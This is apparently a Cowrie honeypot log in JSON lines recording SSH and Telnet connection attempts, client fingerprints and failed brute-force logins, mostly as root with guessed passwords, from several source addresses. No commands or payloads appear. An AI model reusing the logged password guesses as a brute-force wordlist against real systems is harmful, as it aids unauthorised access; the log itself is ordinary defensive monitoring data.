{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":8990,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ef613a3333","protocol":"ssh","message":"New connection: 104.208.108.166:8990 (10.17.0.5:22) [session: f0ef613a3333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:05.597389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:05.603139Z","src_ip":"104.208.108.166","session":"f0ef613a3333","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:05.819579Z","src_ip":"104.208.108.166","session":"f0ef613a3333","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QAZ!@#","message":"login attempt [root/123QAZ!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:06.702918Z","src_ip":"104.208.108.166","session":"f0ef613a3333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:07.916852Z","src_ip":"104.208.108.166","session":"f0ef613a3333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.161.117.28","src_port":48214,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c42db06ccc3","protocol":"telnet","message":"New connection: 187.161.117.28:48214 (159.203.135.109:23) [session: 6c42db06ccc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:12.291422Z"}
{"eventid":"cowrie.session.closed","duration":13.323233366012573,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:25.614370Z","src_ip":"187.161.117.28","session":"6c42db06ccc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":33614,"dst_ip":"10.17.0.5","dst_port":22,"session":"975f60bfa4a3","protocol":"ssh","message":"New connection: 152.244.206.148:33614 (10.17.0.5:22) [session: 975f60bfa4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:58.192605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:58.197632Z","src_ip":"152.244.206.148","session":"975f60bfa4a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:58.338670Z","src_ip":"152.244.206.148","session":"975f60bfa4a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"myftp","message":"login attempt [myftp/myftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:00:58.944418Z","src_ip":"152.244.206.148","session":"975f60bfa4a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:00.087991Z","src_ip":"152.244.206.148","session":"975f60bfa4a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":56198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d0ac8c2b3c3","protocol":"ssh","message":"New connection: 115.241.83.2:56198 (10.17.0.5:22) [session: 2d0ac8c2b3c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:01.903432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:01.913403Z","src_ip":"115.241.83.2","session":"2d0ac8c2b3c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:02.154039Z","src_ip":"115.241.83.2","session":"2d0ac8c2b3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweASDzxc123","message":"login attempt [root/qweASDzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:03.131454Z","src_ip":"115.241.83.2","session":"2d0ac8c2b3c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":15462,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ad5ae19c2e0","protocol":"ssh","message":"New connection: 104.208.108.166:15462 (10.17.0.5:22) [session: 7ad5ae19c2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:04.030994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:04.035337Z","src_ip":"104.208.108.166","session":"7ad5ae19c2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:04.246541Z","src_ip":"104.208.108.166","session":"7ad5ae19c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:04.370722Z","src_ip":"115.241.83.2","session":"2d0ac8c2b3c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cy123456.","message":"login attempt [root/Cy123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:05.123548Z","src_ip":"104.208.108.166","session":"7ad5ae19c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:01:06.337186Z","src_ip":"104.208.108.166","session":"7ad5ae19c2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":59346,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e07bbb0faee","protocol":"ssh","message":"New connection: 115.241.83.2:59346 (10.17.0.5:22) [session: 0e07bbb0faee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:02:01.904493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:02:01.909582Z","src_ip":"115.241.83.2","session":"0e07bbb0faee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:02:02.141361Z","src_ip":"115.241.83.2","session":"0e07bbb0faee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Su123123","message":"login attempt [root/Su123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:02:03.082659Z","src_ip":"115.241.83.2","session":"0e07bbb0faee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:02:04.313442Z","src_ip":"115.241.83.2","session":"0e07bbb0faee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183320045471,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:02:05.282799Z","src_ip":"212.30.36.164","session":"18c041d00b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":39952,"dst_ip":"10.17.0.5","dst_port":22,"session":"98ca15c391ff","protocol":"ssh","message":"New connection: 115.241.83.2:39952 (10.17.0.5:22) [session: 98ca15c391ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:00.845877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:00.850806Z","src_ip":"115.241.83.2","session":"98ca15c391ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:01.085437Z","src_ip":"115.241.83.2","session":"98ca15c391ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456..","message":"login attempt [root/aa123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:02.053243Z","src_ip":"115.241.83.2","session":"98ca15c391ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:03.290401Z","src_ip":"115.241.83.2","session":"98ca15c391ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.118.168","src_port":50586,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b7b20f0c60","protocol":"telnet","message":"New connection: 157.66.118.168:50586 (159.203.135.109:23) [session: 26b7b20f0c60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:39.748901Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.241.83.2","src_port":33164,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6aa4340ce7c","protocol":"ssh","message":"New connection: 115.241.83.2:33164 (10.17.0.5:22) [session: a6aa4340ce7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:59.267956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:59.290525Z","src_ip":"115.241.83.2","session":"a6aa4340ce7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:03:59.526346Z","src_ip":"115.241.83.2","session":"a6aa4340ce7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123.","message":"login attempt [root/Asd123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:00.498017Z","src_ip":"115.241.83.2","session":"a6aa4340ce7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:01.736963Z","src_ip":"115.241.83.2","session":"a6aa4340ce7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":46932,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2886ba80656","protocol":"ssh","message":"New connection: 152.244.206.148:46932 (10.17.0.5:22) [session: f2886ba80656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:26.975903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:26.980479Z","src_ip":"152.244.206.148","session":"f2886ba80656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:27.115588Z","src_ip":"152.244.206.148","session":"f2886ba80656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfg2025","message":"login attempt [root/Asdfg2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:27.692255Z","src_ip":"152.244.206.148","session":"f2886ba80656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T02:04:28.832074Z","src_ip":"152.244.206.148","session":"f2886ba80656","protocol":"ssh"}
